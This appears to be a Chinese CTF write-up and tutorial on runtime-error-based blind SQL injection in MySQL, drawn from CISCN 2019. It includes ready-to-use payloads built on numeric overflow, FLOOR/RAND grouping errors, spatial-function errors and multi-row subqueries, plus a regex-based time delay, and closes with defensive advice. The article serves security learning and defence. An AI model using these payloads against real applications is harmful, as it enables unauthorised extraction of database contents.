通过CISCN2019 Day 1 SQL注入思考基于运行时错误的盲注
字数 642 2025-08-26 22:11:40
基于运行时错误的SQL盲注技术详解
一、概述
本文详细介绍了基于SQL语句运行时错误的盲注技术(Runtime Error Based Blind SQL Injection),这是一种在缺乏直接错误回显但能区分"数据库操作失败"与"正常失败"场景下的有效注入方法。
二、技术原理
传统盲注依赖于应用根据SQL逻辑返回不同内容,而运行时错误盲注则利用SQL语句执行成功与否来推断信息。当特定条件满足时,触发数据库运行时错误,从而产生不同的响应状态。
三、核心注入技术
1. 数值溢出技术
利用MySQL数值函数在参数超出范围时报错的特性:
-- EXP函数 (指数函数)
exp(709) -- 正常
exp(710) -- 报错: DOUBLE value is out of range
-- POW函数 (幂函数)
pow(2,1024) -- 报错: DOUBLE value is out of range
-- COT函数 (余切函数)
cot(0) -- 报错: DOUBLE value is out of range
盲注应用示例:
exp(709 + if(ascii(substr(database(),1,1))>100,1,0))
-- 当条件为真时,exp(710)导致报错;为假时exp(709)正常执行
2. FLOOR函数与GROUP BY组合
利用FLOOR和RAND函数在GROUP BY时的特性:
-- 正常查询
select count(*), floor(rand(0)*2) x from users group by if(0,x,0);
-- 触发错误的查询
select count(*), floor(rand(0)*2) x from users group by if(1,x,0);
-- 报错: Duplicate entry '1' for key '<group_key>'
3. 空间函数技术
利用空间函数的参数解析特性绕过预检查:
-- POINT函数
SELECT IF(条件, ST_X(ST_GeomFromText('POINT(mads)')), 0);
-- 条件为真时报错: Invalid GIS data
-- MULTIPOINT函数
SELECT IF(条件, ST_MPointFromText('MULTIPOINT(mads)'), 0);
变体形式:
SELECT IF(条件, ST_X(MADS), 0);
SELECT IF(条件, ST_MPointFromText('MADS'), 0);
SELECT IF(条件, ST_GeomFromText('MADS'), 0);
4. 子查询返回多行错误
利用子查询返回多行记录的错误:
select if(条件, (select username from users), 0);
-- 当条件为真且子查询返回多行时报错: Subquery returns more than 1 row
四、时间盲注替代方案
当禁用SLEEP函数时,可使用正则表达式延迟:
select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');
-- 通过构造复杂正则表达式实现约5秒延迟
注意事项:
- 这种延迟方法不稳定
- MySQL会缓存查询结果,后续请求可能不再延迟
- 需要确保WHERE条件至少匹配一条记录
五、防御建议
- 使用参数化查询
- 限制数据库用户权限
- 对错误信息进行统一处理
- 过滤或转义特殊字符
- 设置合理的查询超时时间
六、总结
基于运行时错误的盲注技术提供了一种在有限回显情况下的有效注入手段。相比传统盲注,这种方法更加通用,适用于更多场景。安全人员应充分了解这些技术原理,才能更好地防御相关攻击。